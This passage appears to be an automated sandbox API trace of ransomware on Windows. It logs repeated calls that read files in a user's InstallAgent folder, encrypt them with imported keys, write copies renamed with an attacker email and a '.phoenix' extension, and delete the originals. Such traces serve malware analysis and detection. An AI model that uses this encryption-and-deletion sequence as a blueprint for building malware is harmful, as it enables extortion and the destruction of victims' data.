	[0266.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.136] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.136] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.136] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.136] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.139] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0266.139] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.139] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1ce, lpOverlapped=0x0) returned 1
	[0266.139] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.139] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.140] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0266.140] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.140] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.140] CryptDestroyKey (hKey=0x151100) returned 1
	[0266.140] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.143] CryptDestroyKey (hKey=0x151500) returned 1
	[0266.143] CloseHandle (hObject=0x2e8) returned 1
	[0266.143] CloseHandle (hObject=0x2c0) returned 1
	[0266.143] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat")) returned 1
	[0266.147] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.147] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.158] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=451) returned 1
	[0266.158] CloseHandle (hObject=0x304) returned 1
	[0266.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat")) returned 0x20
	[0266.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.158] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.158] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.158] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.158] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.162] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1512c0) returned 1
	[0266.162] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.162] ReadFile (in: hFile=0x304, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c3, lpOverlapped=0x0) returned 1
	[0266.163] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.163] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.164] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0266.164] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.164] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.164] CryptDestroyKey (hKey=0x151400) returned 1
	[0266.164] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.167] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.167] CloseHandle (hObject=0x304) returned 1
	[0266.167] CloseHandle (hObject=0x2c0) returned 1
	[0266.167] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat")) returned 1
	[0266.168] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.168] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.169] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=464) returned 1
	[0266.169] CloseHandle (hObject=0x2c0) returned 1
	[0266.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat")) returned 0x20
	[0266.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.169] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.169] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.169] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.169] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.171] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0266.171] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.171] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.172] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e0) returned 1
	[0266.172] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1e0, lpOverlapped=0x0) returned 1
	[0266.173] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0266.173] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.173] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.173] CryptDestroyKey (hKey=0x151180) returned 1
	[0266.173] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.177] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.177] CloseHandle (hObject=0x2c0) returned 1
	[0266.177] CloseHandle (hObject=0x2e8) returned 1
	[0266.177] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat")) returned 1
	[0266.206] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.206] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.207] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=455) returned 1
	[0266.207] CloseHandle (hObject=0x2e8) returned 1
	[0266.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat")) returned 0x20
	[0266.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.207] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.207] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.207] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.208] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.208] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0266.208] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.208] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c7, lpOverlapped=0x0) returned 1
	[0266.209] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.209] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.210] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0266.210] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.210] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.210] CryptDestroyKey (hKey=0x151400) returned 1
	[0266.210] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.216] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0266.216] CloseHandle (hObject=0x2e8) returned 1
	[0266.216] CloseHandle (hObject=0x2c0) returned 1
	[0266.216] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat")) returned 1
	[0266.218] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.218] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.221] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=455) returned 1
	[0266.221] CloseHandle (hObject=0x2b0) returned 1
	[0266.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat")) returned 0x20
	[0266.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.221] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.221] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.221] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.222] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.224] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1512c0) returned 1
	[0266.224] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.224] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c7, lpOverlapped=0x0) returned 1
	[0266.225] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.225] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.226] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0266.226] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.226] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.226] CryptDestroyKey (hKey=0x151340) returned 1
	[0266.226] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.243] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.243] CloseHandle (hObject=0x2b0) returned 1
	[0266.243] CloseHandle (hObject=0x2c0) returned 1
	[0266.243] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat")) returned 1
	[0266.254] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.254] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.255] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=454) returned 1
	[0266.255] CloseHandle (hObject=0x2c0) returned 1
	[0266.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat")) returned 0x20
	[0266.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
